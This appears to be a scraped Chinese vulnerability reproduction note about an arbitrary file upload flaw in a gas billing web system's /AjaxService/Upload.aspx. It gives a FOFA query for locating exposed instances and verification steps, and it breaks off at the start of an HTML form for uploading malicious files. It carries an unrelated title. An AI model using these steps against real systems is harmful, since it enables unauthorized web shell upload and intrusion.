網(wǎng)站開發(fā)的作用建站之星
漏洞描述
/AjaxService/Upload.aspx 存在任意文件上傳漏洞
免責(zé)聲明
技術(shù)文章僅供參考，任何個(gè)人和組織使用網(wǎng)絡(luò)應(yīng)當(dāng)遵守憲法法律，遵守公共秩序，尊重社會(huì)公德，不得利用網(wǎng)絡(luò)從事危害國(guó)家安全、榮譽(yù)和利益，未經(jīng)授權(quán)請(qǐng)勿利用文章中的技術(shù)資料對(duì)任何計(jì)算機(jī)系統(tǒng)進(jìn)行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失，均由使用者本人負(fù)責(zé)。本文所提供的工具僅用于學(xué)習(xí)，禁止用于其他??！
漏洞集合
【傳送點(diǎn)】上千漏洞復(fù)現(xiàn)復(fù)現(xiàn)集合 exp poc 持續(xù)更新
資產(chǎn)確定
app="先鋒WEB燃?xì)馐召M(fèi)系統(tǒng)"
漏洞復(fù)現(xiàn)
訪問http://ip:port/AjaxService/Upload.aspx驗(yàn)證
出現(xiàn)上面頁面則證明漏洞存在
使用html網(wǎng)頁來上傳惡意文件
<!DOCTYPE html><html><head><meta